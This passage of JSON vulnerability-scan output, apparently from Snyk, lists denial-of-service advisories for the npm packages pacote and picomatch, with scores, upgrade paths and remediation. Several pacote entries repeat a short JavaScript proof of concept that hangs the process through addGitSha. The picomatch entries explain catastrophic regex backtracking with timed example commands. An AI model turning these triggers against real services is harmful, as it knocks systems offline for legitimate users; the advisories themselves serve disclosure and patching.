"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "19.0.2"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "19.0.2"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "19.0.2"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [
false,
"npm@10.9.8",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
